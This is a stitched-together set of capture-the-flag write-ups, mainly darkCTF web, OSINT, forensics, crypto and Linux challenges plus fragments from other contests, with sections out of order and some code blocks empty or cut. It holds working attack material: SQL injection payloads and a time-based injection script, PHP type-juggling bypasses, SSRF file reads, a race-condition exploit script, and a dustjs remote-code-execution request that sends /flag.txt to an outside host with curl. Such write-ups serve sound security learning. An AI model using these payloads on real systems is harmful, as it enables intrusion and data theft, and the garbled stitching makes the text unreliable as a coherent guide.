In PHP, we can provide numbers as exponentials expressions and what I mean by that are expressions like `5e52222`. This will translate into 5 * 10 ^ 52222.Knowing this, we fire up Burp, change the `User-Agent` to `9e9` which:- is numeric- has a length of 3- it is equals to 9000000000 which is bigger than 10000
After hitting send we get the flag.
Flag: darkCTF{changeing_http_user_agent_is_easy}
## So_Simple#### Description>"Try Harder" may be You get flag manually>>Try id as parameter### SolutionWe get a link that displays a simple page that says try harder. The only clue I could find on how to start finding a vulnarblity was from the description. I tried a get request with `id` as parameter with the value test and I compared the result with a request that does not have the parameter.
The left panel contains the response from the request with the `id` parameter set to `test`.

I noticed that the server responds with an additional `font` tag when the parameter is present, so I tried an input like `';"//` and I got a MySQL error. Now it is clear that the parameter is vulnerable to SQL injection. Below is a table with the payloads that I used and the results. I used as resource [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) repo.
Payload | Result | Summary--------|--------|--------`' union select 1, 2, group_concat("~", schema_name, "~") from information_schema.schemata where '1' = '1` | `~information_schema~,~id14831952_security~,~mysql~,~performance_schema~,~sys~` | Number of columns of current table and databases names`' union select 1, 2, group_concat("~", table_name, "~") from information_schema.tables where table_schema='id14831952_security` | `~emails~,~referers~,~uagents~,~users~` | Table names from id14831952_security`' union select 1, 2, group_concat("~", column_name, "~") from information_schema.columns where table_name='users` | `~id~,~username~,~password~,~USER~,~CURRENT_CONNECTIONS~,~TOTAL_CONNECTIONS~` | Column names from table users`' union select 1, 2, group_concat("~", username, "~") from users where 'a'='a` | `~LOL~,~Try~,~fake~,~its secure~,~not~,~dont read~,~try to think ~,~admin~,~flag~` | Values from column username, table users`' union select id, password, username from users where username='flag` | `darkCTF{uniqu3_ide4_t0_find_fl4g}` | Got the flag, it was in the password column
Flag: darkCTF{uniqu3_ide4_t0_find_fl4g}
## Apache Logs#### Description >Our servers were compromised!! Can you figure out which technique they used by looking at Apache access logs.>>flag format: DarkCTF{}
### SolutionWe get a text file with logs of the requests made. For example:```text192.168.32.1 - - [29/Sep/2015:03:28:43 -0400] "GET /dvwa/robots.txt HTTP/1.1" 200 384 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Looking into them, we can see that someone makes some login attempts, a registration and it tries a few endpoints. By the final of the file we have some SQL injection attempts. There are 3 interesting logs, let us look into them.
```text192.168.32.1 - - [29/Sep/2015:03:37:34 -0400] "GET /mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C+108%2C+97%2C+103%2C+32%2C+105%2C+115%2C+32%2C+83%2C+81%2C+76%2C+95%2C+73%2C+110%2C+106%2C+101%2C+99%2C+116%2C+105%2C+111%2C+110%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details HTTP/1.1" 200 9582 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=something&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Notice that the `username` parameter contains what appears to be a SQLi payload. URL decoding it gives us `' union all select 1,String.fromCharCode(102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110),3 --+`. I used Javascript to convert the integers to characters with the next two lines of code:
```jslet integersArray = [102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110];let charactersArray = integersArray.map(nr =>String.fromCharCode(nr));console.log(charactersArray.join(''));```This gave me `flag is SQL_Injection`, but this is not the flag, I tried it. Let us look further.
```text192.168.32.1 - - [29/Sep/2015:03:38:46 -0400] "GET /mutillidae/index.php?csrf-token=&username=CHAR%28121%2C+111%2C+117%2C+32%2C+97%2C+114%2C+101%2C+32%2C+111%2C+110%2C+32%2C+116%2C+104%2C+101%2C+32%2C+114%2C+105%2C+103%2C+104%2C+116%2C+32%2C+116%2C+114%2C+97%2C+99%2C+107%29&password=&confirm_password=&my_signature=®ister-php-submit-button=Create+Account HTTP/1.1" 200 8015 "http://192.168.32.134/mutillidae/index.php?page=register.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Decoding the payload gives us `CHAR(121, 111, 117, 32, 97, 114, 101, 32, 111, 110, 32, 116, 104, 101, 32, 114, 105, 103, 104, 116, 32, 116, 114, 97, 99, 107)` that represents `you are on the right track`. Cool, let us move forward.
```text192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Decoding the payload gives us a similar array of numbers that represents `flag is DarkCTF{5ql_1nj3ct10n}`
Flag: DarkCTF{5ql_1nj3ct10n}
## Simple_SQL#### Description>Try to find username and password>[Link](http://simplesql.darkarmy.xyz/)
### SolutionGoing to the provided link and looking at the source code of the page, we can see the next clue: ` `Firing up Burp and fuzzing around the `id` parameter, we notice that we can inject SQL with `1 or 2=2`, getting as a response `Username : LOL Password : Try `.
I wanted to know what are the first 10 entries, so I went with `id=1` and I stopped at `id=9` because that entry contains the flag, so no SQLi needed.
Flag: darkCTF{it_is_very_easy_to_find}
## Dusty Notes #### Description>Sometimes some inputs can lead to flagPS :- All error messages are intended ### SolutionWe get a link that gives us the next page:
Long story short, we can add and delete notes. Playing with some requests in Burp I noticed that the cookie changes on every new note added or deleted. It turns out the cookie stores an array of objects in the next form: `j:[{"id":1,"body":"Hack this"}]`I assume this is some kind of serialized value that I need to exploit (not really, keep reading), but I have no idea what programming language runs on the server, so I modified the cookie into `j:[{"id":1,"body":"Hack this"},{"id":1,"body":__FILE__}]` hoping to find out more.Fortunately, the server responded with an error message that tells us that the server runs on Node.js.```textTypeError: note.filter is not a function at /app/app.js:96:34 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at param (/app/node_modules/express/lib/router/index.js:354:14) at param (/app/node_modules/express/lib/router/index.js:365:14) at Function.process_params (/app/node_modules/express/lib/router/index.js:410:3) at next (/app/node_modules/express/lib/router/index.js:275:10) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:91:12) at trim_prefix (/app/node_modules/express/lib/router/index.js:317:13) at /app/node_modules/express/lib/router/index.js:284:7 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12) at next (/app/node_modules/express/lib/router/index.js:275:10) at urlencodedParser (/app/node_modules/body-parser/lib/types/urlencoded.js:82:7)```However, this doesn't give us much, so fuzzing a bit more I get the next error message for `j:[{"id":1,"body":["Hack this'"]}]`:
```json{"stack":"SyntaxError: Unexpected string\n at Object.if (/home/ctf/node_modules/dustjs-helpers/lib/dust-helpers.js:215:15)\n at Chunk.helper (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n at body_1 (evalmachine.<anonymous>:1:972)\n at Chunk.section (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n at body_0 (evalmachine.<anonymous>:1:847)\n at /home/ctf/node_modules/dustjs-linkedin/lib/dust.js:122:11\n at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Unexpected string"}```Looking into this response, I noticed the error is thrown from `dustjs`. I didn't know about it, but I searched for `dustjs exploit` and I found some good articles ([here's one](https://artsploit.blogspot.com/2016/08/pprce2.html)) about a RCE vulnerability.
It seems that dustjs uses eval for interpreting inputs. However, the library does sanitize the input if *it is a string*. Providing anything else as input will let us bypass the sanitization and we can provide an array when creatin a new message.
I didn't find a way to return the content of the flag inside the response, so I had to send it to a remote server (I used [pipedream](https://pipedream.com) as host).Adjust the payload used in the article, we'll have the next request:
```textGET /addNotes?message[]=x&message[]=y'-require('child_process').exec('curl%20-F%20"x%3d`cat%20/flag.txt`"%20https://en5dsa3dt3ggpvb.m.pipedream.net')-' HTTP/1.1```This will make `message` an array, so it will bypass the sanitization, and it will take the content of `/flag.txt` and send it with curl to my host. Going to pipedream I can see the flag.
Flag: darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}
## Agent U#### Description>Agent U stole a database from my company but I don't know which one. Can u help me to find it?>>http://agent.darkarmy.xyz/>>flag format darkCTF{databasename}### SolutionGoing to the given link we see a simple page with a login form. Looking at the source code we see the next line: ` `.Using these credentials, the server responds with the same page plus the next information:```textYour IP ADDRESS is: 141.101.96.206<font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0</font>```Based on the challenge title and description I tried to insert some SQL injection into the User-Agent header.
I used as input `U'"` and got a MySQL error message. Cool.The error message is: `You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"', '141.101.96.206', 'admin')' at line 1`

From this point on I tried a lot of things like UNION SELECT, GROUP_CONCAT, type conversion etc., but nothing worked.In the end, I tried to call a a function that I assumed it doesn't exist and, since the functions are attached to the database, the response gave me the name of the database: `ag3nt_u_1s_v3ry_t3l3nt3d`

Flag: darkCTF{ag3nt_u_1s_v3ry_t3l3nt3d}
## PHP Information#### Description>Let's test your php knowledge.>>Flag Format: DarkCTF{}>>http://php.darkarmy.xyz:7001### SolutionGoing to that link we get the source code of a php page. It seems that we need to pass some conditions in order to get the flag.
First condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['darkctf'])){ $darkctf = $res['darkctf']; }}
if ($darkctf === "2020"){ echo "<h1 style='color: chartreuse;'>Flag : $flag</h1>";} ```We need to provide a query parameter with the name `darkctf` and the value `2020`. This will not give us the flag, but the first part of it: `DarkCTF{`
Second condition:```phpif ($_SERVER["HTTP_USER_AGENT"] === base64_decode("MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_1</h1>";} ```We need to change the value from User-Agent header to match the decoded value of `MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==` which is `2020_the_best_year_corona`. Thill will get use the second part of the flag: `very_`
Third condition:```phpif (!empty($_SERVER['QUERY_STRING'])) { $query = $_SERVER['QUERY_STRING']; $res = parse_str($query); if (!empty($res['ctf2020'])){ $ctf2020 = $res['ctf2020']; } if ($ctf2020 === base64_encode("ZGFya2N0Zi0yMDIwLXdlYg==")){ echo "<h1 style='color: chartreuse;'>Flag : $flag_2</h1>"; } } }```We need to provide a query string parameter with the name `ctf2020` and the value must be the base64 *encoded* value of `ZGFya2N0Zi0yMDIwLXdlYg==`.This gives us `nice`.
The last thing:```phpif (isset($_GET['karma']) and isset($_GET['2020'])) { if ($_GET['karma'] != $_GET['2020']) if (md5($_GET['karma']) == md5($_GET['2020'])) echo "<h1 style='color: chartreuse;'>Flag : $flag_3</h1>"; else echo "<h1 style='color: chartreuse;'>Wrong</h1>"; } ```So, we need to provide two more query parameters: one named `karma` and one named `2020`. The md5 hash of these two must be equal, but without providing the same string for both parameters. We could search for a md5 collision, meaning that we need to find two strings with the same hash, but it is a simpler way here.Notice that the hash results are compared with a weak comparison `==` and we can levarage this by using type juggling in our advantage.What we want is to find two strings that will have the md5 hash strating with `0e`. Why is that? Well, the php will try to convert the string into an integer because of the `e` and the weak comparison. For example, `0e2` will be onverted into `0 * 10 ^ 2` which is of course 0. So, by exploiting this weak comparison we want to achive `0 == 0` which will be true.I took two strings from this [article](https://www.whitehatsec.com/blog/magic-hashes/) that have the md5 hashes starting with `0e`: `Password147186970!` and `240610708`This will give us the rest of the flag: `_web_challenge_dark_ctf}`
Final request from Burp:
Flag: DarkCTF{very_nice_web_challenge_dark_ctf}
## Chain Race#### Description>All files are included. Source code is the key.>>http://race.darkarmy.xyz:8999### SolutionThe link prompts us with the next page:
Providing an URL, the server returns the content from that address, meaning that some requests are made in back-end. My first though was that this is a code injection vulnerability, but that is not the case. Providing as input `file:///etc/passwd` we can read the content from `/etc/passwd`.

Knowing that we can read files on disk, let us get some. The requests with URLs are made to `testhook.php`, so that is our first target. Trying `file:///var/www/html/testhook.php` gives us the source code of `testhook.php` and tells us that this is the location of the server.
```php
```
So, the value from `$_POST["handler"]` is used to make a request using `curl`. Researching a little about this module does not give us more than we already know. Time to go back to the `/etc/passwd` file.Note the last entry from the file: `localhost8080:x:5:60:darksecret-hiddenhere:/usr/games/another-server:/usr/sbin/nologin`This hint suggests that another server is running on port 8080. However, the server is not exposed externally, so it cannot be accessed with http://race.darkarmy.xyz:8080.Let's do a Server-Side Request Forgery by providing as input in the form from the main page `http://localhost:8080`. This gives us the next source code:
```php
Listen 443</IfModule>
<IfModule mod_gnutls.c>Listen 443</IfModule>
# vim: syntax=apache ts=4 sw=4 sts=4 sr noet```
Reading `/etc/apache2/sites-enabled/000-default.conf` gave us the location of the second server:
```text<VirtualHost *:8080>DocumentRoot /var/www/html1</VirtualHost>```
We can get the content of `index.php`, but not from `flag.php`. However, it was a nice try.
Coming back to the source code from `http://localhost:8080`:There are some conditions that we need to pass in order to get the flag. The first one:
```phpif(!(isset($_GET['user']) && isset($_GET['secret']))){ highlight_file("index.php"); die();}
if (($_GET['secret'] == "0x1337") || $_GET['user'] == "admin") { die("nope");}``` - Both `secret` and `user` must have a value - `secret` must not be equal to `0x1337` (weak comparison) - `user` must not be equal with `admin`
Second condition:```php$login_1 = 0;$login_2 = 0;
$login_1 = strcmp($_GET['user'], "admin") ? 1 : 0;
if (strcasecmp($_GET['secret'], "0x1337") == 0){ $login_2 = 1;}
if ($login_1 && $login_2) { // third condition, will be discussed next}````$login_1 && $login_2` must evaluate to `true` and for that we need: - `user` must start with `admin` - `strcasecmp($_GET['secret'], "0x1337")` must be equal with `0` (weak comparison)
The third condition is not related to `user` and `secret` so let us summarize up until this point what we need.
- `user` must not be equal with `admin` and it must strart with `admin` - Solution: set `user` equal with `admin1` - `secret` must not be equal with `0x1337` (weak comparison), but it must satisfy `strcasecmp($_GET['secret'], "0x1337") == 0` - Any other value that after type juggling is not equal with `0x1337` it is good - We need to bypass `strcasecmp($_GET['secret'], "0x1337") == 0` because, normally, the result would be 0 only if the strings are identical at byte level - Solution: make `secret` an array. This way `strcasecmp` will return `false` that will be equal to `0` due to the weak comparison
Let's check the last condition:
```phpsession_start();
$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));session_destroy();
file_put_contents($temp_name, "your_fake_flag");
if ($login_1 && $login_2) { if(@unlink($temp_name)) { die("Nope"); } echo $flag;}```In order to get the flag `unlink` needs to return `false`. Let's get line by line to fully understand what happens here.
- `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` - This will be the name of the file that will be saved on disk - Is the result of SHA1 hashing the MD5 hash of `date("ms").@$_COOKIE['PHPSESSID']` - `date("ms")` will return the month and the second of the current time (e.g. `0956`, where `09` is the month and `56` the seconds) - `@$_COOKIE['PHPSESSID']` will return the value of the cookie named `PHPSESSID`. The `@` will surpress any error or warning message.- `file_put_contents($temp_name, "your_fake_flag");` - Write `your_fake_flag` into a file that has as name the value from `$temp_name` - If the file doesn't exist it will be created- `if(@unlink($temp_name)) { die("Nope"); }` - `unlink` will attempt to delete the file - If needs to fail in order to retrieve the flag
In order to make `unlink` call fail, we need to open the file for reading right when `unlink` will attempt to delete it. This is called a race condition and we need to exploit it. We can read the file using the form from the first server by providing as input `file:///var/www/html/file-name`, but we have a problem, we need to anticipate the name of the file. Let's look again at the line where the file name is made: `$temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));`
It is a little trick here. You could not guess the value of the session cookie, but here the cookie is not set inside the `$_COOKIE` object even if it the session was initialied. And since the `@` is used, any error or warning will be surpressed, we do not need to worry about it, it will be an empty string.
So, `sha1(md5(date("ms").@$_COOKIE['PHPSESSID']));` is equivalent with `sha1(md5(date("ms")))`. Now, we can work with this.
I used the script below in order to exploit the race condition, tackin into account all the considerations mentioned above:
```php 'http://localhost:8080/?user=admin1&secret[]=1'];
$ch_flag_body = http_build_query($ch_flag_handler);
$flag = '';// looping until we get the flag// a race condition is somewhat not deterministic and requires multiple attemptswhile(strpos($flag, 'dark') === false) { // initialize curl object that will contain the flag $ch_flag = curl_init(); curl_setopt($ch_flag, CURLOPT_URL, $url); curl_setopt($ch_flag, CURLOPT_POST, true); curl_setopt($ch_flag, CURLOPT_POSTFIELDS, $ch_flag_body); curl_setopt($ch_flag, CURLOPT_RETURNTRANSFER, 1);
// initialize curl object for exploiting race condition $tmp_file = sha1(md5(date("ms"))); // generate the same file name $url_tmp_file = "file:///var/www/html/".$tmp_file; $ch_race_handler = [ 'handler' => $url_tmp_file ]; $ch_race_body = http_build_query($ch_race_handler);
$ch_race = curl_init(); curl_setopt($ch_race, CURLOPT_URL, $url); curl_setopt($ch_race, CURLOPT_POST, true); curl_setopt($ch_race, CURLOPT_POSTFIELDS, $ch_race_body); curl_setopt($ch_race, CURLOPT_RETURNTRANSFER, 1);
// multi handler curl object for launching the 2 reqeusts in parallel $mh = curl_multi_init(); curl_multi_add_handle($mh, $ch_flag); curl_multi_add_handle($mh, $ch_race);
// launch requests $active = null; do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM);
while ($active && $mrc == CURLM_OK) { if (curl_multi_select($mh) != -1) { do { $mrc = curl_multi_exec($mh, $active); } while ($mrc == CURLM_CALL_MULTI_PERFORM); } }
// read response $flag = curl_multi_getcontent($ch_flag); $file_content = curl_multi_getcontent($ch_race); echo("Flag: ".$flag." -> TMP url: ".$url_tmp_file." -> File: ".$file_content."\n"); // for debugging
curl_multi_remove_handle($mh, $ch_flag); curl_multi_remove_handle($mh, $ch_race); curl_multi_close($mh);}?>```After 1 minute we get the flag:
Flag: darkCTF{9h9_15_50_a3fu1}
# OSINT## Dark Social Web#### Description>0xDarkArmy has 1 social account and DarkArmy uses the same name everywhere>>flag format: darkctf{}
### SolutionBy the provided description I decided to start by searching for accounts with the username `0xDarkArmy`. For this I used [sherlock](https://github.com/sherlock-project/sherlock) and I got the next results:

I checked all of them and I found something on the [reddit page](https://www.reddit.com/user/0xDarkArmy/), a post meant for the CTF:

The post contains a QR image.
I used https://qrscanneronline.com/ to decode it and I got the next link: https://qrgo.page.link/zCLGd. Going to this address redirects us to an onion link: http://cwpi3mxjk7toz7i4.onion/
Moving to Tor, we get a site with a static template. Checking the `robots.txt` file give us half of flag:

Now, for the other half I tried the next things with no success:- Checked the source code- Checked the imported scripts and stylesheets- Checked the requests made- Compared the source code of the template from the official page with the source code from this site - source code was identical
I knew that the flag must be somewhere on this site, so I started looking for directory listing, but with the developer tools open (I wanted to see the status codes returned).
First thing I tried looking in the folders with images, then I took folders from the imported stylesheets.

When I made a GET request to http://cwpi3mxjk7toz7i4.onion/slick/ I noticed a custom HTTP Header in the response. That header contains the rest of the flag.

Flag: darkctf{S0c1a1_D04k_w3b_051n7}
# Forensics## AW#### Description>"Hello, hello, Can you hear me, as I scream your Flag! "
### SolutionAttached to this challenge is a `.mp4` file called `Spectre`. There are indiciations that we might get the flag from a spectogram, but for that we must strip the audio from the video file.We can achieve that with `ffmpeg -i Spectre.mp4 audio.mp3`.Next, I used [Sonic Visualizer](#https://www.sonicvisualiser.org/) to analyze the file. I added a spectogram, played a little with the settings to better view the flag and I was able to extract it.

Flag: darkCTF{1_l0v3_5p3ctr3_fr0m_4l4n}
# Crypto## haxXor#### Description>you either know it or not take this and get your flag>>5552415c2b3525105a4657071b3e0b5f494b034515### SolutionBy the title and description, we can assume that the given string was XORed and we can see that the string is in HEX.First thing, we'll asume that the flag will have the standard format, so we'll search for a key that will give us `darkCTF{`.I used an adapted version of the script provided in this [write-up](https://medium.com/@apogiatzis/tuctf-2018-xorient-write-up-xor-basics-d0c582a3d522) and got the key.
Key: `1337hack`XORing the string with this key gives us the flag.
Flag: darkCTF{kud0s_h4xx0r}
# Misc## Minetest 1#### Description>Just a sanity check to see whether you installed Minetest successfully and got into the game### SolutionInstalled minetest with `sudo apt-get install minetest`, moved the world with the mods into the `~/.minetest/worlds` and started the world.The world contains a simple logic circuit. If we make the final output positive, we get the flag.

Flag: DarkCTF{y0u_5ucess_fu11y_1ns7alled_m1n37e57}
# Linux## linux starter#### Description>Don't Try to break this jail>>ssh [email protected] -p 8001 password : wolfie### SolutionAfter we connect, we see in the home directory 3 folders. From these, two are interesting because are owned by root.

As you can see, we do not have read and execute permissions on these ones. Doing an `ls -la imp/` shows us that the folder contains the flag and we can get it with `cat imp/flag.txt`.

For this challenge you could also read the .bash_history file and get some hints.
Flag: darkCTF{h0pe_y0u_used_intended_w4y}
## Secret Vault#### Description>There's a vault hidden find it and retrieve the information. Note: Do not use any automated tools.>>ssh [email protected] -p 10000>>Alternate: ssh [email protected] -p 10000 password: wolfie### Solution
We find a hidden directory under `/home` called `.secretdoor/`. Inside we found a binary called `vault` that expects a specific pin in order to "unlock the vault".
I used the next one liner in order to find the right pin:```bashnr=0; while true; do nr=$((nr+1)); if [[ $(./vault $nr) != *"wrong"* ]]; then ./vault $nr; echo $nr; fi; done;```
By Base85 decoding the string we get the flag.
Flag: darkCTF{R0bb3ry_1s_Succ3ssfullll!!}
## Squids#### Description>Squids in the linux pool>>Note: No automation tool required.>>ssh [email protected] -p 10000 password: wolfie### SolutionBased on the title, it might have something to do with suid binaries, so let's do a `sudo -l`. This gives us `Sorry, user wolf may not run sudo on 99480b7da54a.`Let's try to find suid binaries with `find`. Running `find / -type f -perm -u=s 2>/dev/null` shows us the next binaries:
The interesting one is `/opt/src/src/iamroot`. Just running it, with no arguments gives us a segmentation fault error. By forwarding an argument we get the error message `cat: a: No such file or directory`. Seems that we can run `cat` with the owner's privileges and the owner is root. Running `./iamroot /root/flag.txt` gives us the flag.

Flag: darkCTF{y0u_f0und_the_squ1d}
|
The challenge code encrypts the message with standard ElGamal encryption in the $(\mathbb Z / p\mathbb Z)^\times$ group, but each character is encrypted separately.
Since ElGamal encryption is not deterministic, we cannot simply compute the ciphertext for all possible characters - we need a fancier way to distinguish whether a plaintext and ciphertext correspond to each other.
Assuming a specific value of $m$, we can calculate $h^r$ by $c_2/m$. Thus, we only need to decide if $g^r$ and $h^r$ correspond to each other. If we wanted to be certain, this would still be hard, but eliminating 99% of the plaintexts is enough for us.
Note that $q$ isn't prime, and has some small factors:
```sage: q.factor(limit=10^8)3 * 5 * 19 * 294990784890379987336176257521174693284106582771355108025355675102627462581333131546092537701427430219759942755309859627793542593765044031642303506455386086819184732004629255422343928823694967878845018857793640833018642432002123467609206143550270046534334335963505333697946171632356112183767880099501591313```
Denote $k = 3 \times 5 \times 19$ and $q' = q/k$; we have a homomorphism $\varphi : a \mapsto a^{q'}$ into a small subgroup of order $k$. We can thus check whether the images of $g^r$ and $h^r$ correspond by computing a DLP in the small subgroup, obtaining $r' = r \bmod k$. The following Sage code implements the attack:
```pythonp = ...q = ...K = Zmod(p)g = K(2)h = K(...)
cipher = [ ...]
pk = p, q, g, h
smol = 285big = q // smol
g ^= bigh ^= big
table = {g^k: k for k in range(2*smol)}
out = []for c1, c2 in cipher: exp = K(c1)^big r = table[exp] poss = '' for c in range(32, 127): hh = K(c2) / K(c) if h^r == hh^big: poss += chr(c) out += [poss]print(out)```
Unfortunately, some characters have two possible variants:
```TWCTF?8d560108444cc?60?74??544??d218??_?o?_?h?_?i?s?_?im?_in_?_??a?s?}```
We can take some reasonable guesses and obtain the flag, though:
```flag = ''for c in out: if len(c) == 1: flag += c elif c == '+3': flag += '3' elif c == '9:': flag += '9' elif c == '!e': flag += 'e' elif c == 'G{': flag += '{' elif c == 'Vf': flag += 'f' elif c == 'Uy': flag += 'y' else: print(c); flag += '?'```
```sage: load('decrypt.sage')['T', 'W', 'C', 'T', 'F', 'G{', '8', 'd', '5', '6', '0', '1', '0', '8', '4', '4', '4', 'c', 'c', '+3', '6', '0', '+3', '7', '4', '!e', 'Vf', '5', '4', '4', '+3', '+3', 'd', '2', '1', '8', '!e', '9:', '_', 'Vf', 'o', 'rt', '_', 'rt', 'h', '!e', '_', 'Vf', 'i', 'rt', 's', 'rt', '_', 'rt', 'i', 'm', '!e', '_', 'i', 'n', '_', '9:', '_', 'Uy', '!e', 'a', 'rt', 's', '!e', '}']rtrtrtrtrtrtsage: flag'TWCTF{8d560108444cc360374ef54433d218e9_fo?_?he_fi?s?_?ime_in_9_yea?se}'```
Both `r` and `t` are used, but we can guess the flag:```TWCTF{8d560108444cc360374ef54433d218e9_for_the_first_time_in_9_years!}``` |
this challenge teel us use id as parameter, so i addedand i try to check what i look like on id=1

and id=2

so i decide to use bash to check all the possible id, and i found the flag
```for x in {0..100};do curl "simplesql.darkarmy.xyz/index.php?id=$x" | grep Username;done```

> Flag: darkCTF{it_is_very_easy_to_find}
[my blog](http://medium.com) |
I using burpsuite to manipulate http requests, so i can use time based injection
i added ' to user agent, trying to make my payload working```tes',IF(MID(DATABASE(),(1),1) = 'a', SLEEP(3), 0),'test')-- -```
and i make python script```#!/usr/bin/env python3
import requestsimport timeimport json
alpha = [chr(x) for x in range(0x61,0x7b)]for x in range(0,10): alpha.append(str(x))alpha.append("_")
req = requests.Session()data = {"uname":"admin","passwd":"admin","submit":"Submit"}
for x in range(1,35): for c in alpha: st=time.time() headers = {"User-Agent":f"tes',IF(MID(DATABASE(),{x},1) = '{c}', SLEEP(3), 0),'inersin')-- -"} req.post("http://agent.darkarmy.xyz/",data=data,timeout=10, headers=headers) if int(time.time()-st) >= 3: print(c) break```
this is the result> Flag: darkCTF{ag3nt_u_1s_v3ry_t3l3nt3d}
[my blog](http://medium.com/@InersIn) |
# **To see the full writeup including images, please see the:** [Original Writeup](https://gitlab.com/hacklabor/ctf/darkctf/-/blob/master/MISC_Secret_Of_The_Contract/secret_of_the_contract.md)
---
- The description hint to the 'Ropsten' network, which is the test network of Ethereum, so we head over to [etherscan.io](https://ropsten.etherscan.io/address/0x6e5ea18371748db7f12a70037d647cdfcf458e45), select the Ropsten test network and enter the provided address of the smart contract.- Selecting the 'Contract' tab we can see the byte code of the smart contract. Click 'Decompile ByteCode' gives us the following pseudo code:```def storage: unknown592f6623 is array of uint256 at storage 0 message is array of uint256 at storage 1
def unknown592f6623(): # not payable return unknown592f6623[0 len unknown592f6623.length]
def message(): # not payable return message[0 len message.length]
## Regular functions#
def _fallback() payable: # default function revert
def update(string _newName) payable: require calldata.size - 4 >= 32 require _newName <= 4294967296 require _newName + 36 <= calldata.size require _newName.length <= 4294967296 and _newName + _newName.length + 36 <= calldata.size message[] = Array(len=_newName.length, data=_newName[all])
```- From the code we can learn, that the contract has two 'variables' to store data and a function called 'update' that can write a new value to the 'variable' message in storage slot 1. The `payable` keyword in the declaration of the 'update' function means this function can be invoked by paying a transaction to the contract.- If if go to the 'Transactions' tab we can see the contract has 2 transactions:- If we go open a single transaction and go to the 'State" tab, we can see the state transitions performed on the contract with this transaction. - 1. Contract creation: Sets storage 0 to `3772346e3534633731306e7d0` - 2. Invocation of update method: Sets storage 1 to `Hmm-6461726B4354467B3374683372333772346e3534633731306e7d0` - Overview for the second transaction which invokes the update method.- Now just concatenate the values of storage 1 and storage 2 and decode the hex: `darkCTF{3th3r3um_570r4g3_7r4n54c710n}` |
# OSINT/Eye (454 Pkt.)MrHappyCan you find the location of this image? Precision up to 3 decimal points.
FlagFormat: darkCTF{latitude,longitude}
later from discordFlagFormat: darkCTF{xx.xxx,yy.yyy}
given fileeye.jpgNo captcha required for preview. Please, do not write just a link to original writeup here. |
##### Table of Contents- [Web](#web) - [Source](#source) - [So_Simple](#so-simple) - [Apache Logs](#apache-logs) - [Simple_SQL](#simple-sql) - [Dusty Notes](#dusty-notes) - [Agent U](#agent-u) - [PHP Information](#php-information) - [Chain Race](#chain-race)- [OSINT](#osint) - [Dark Social Web](#dark-social-web)- [Forensics](#forensics) - [AW](#aw)- [Crypto](#crypto) - [haxXor](#haxxor)- [Misc](#misc) - [Minetest 1](#minetest1)- [Linux](#linux) - [linux starter](#linux-starter) - [Secret Vault](#secret-vault) - [Squids](#squids)
# Web## Source#### Description>Don't know source is helpful or not !!
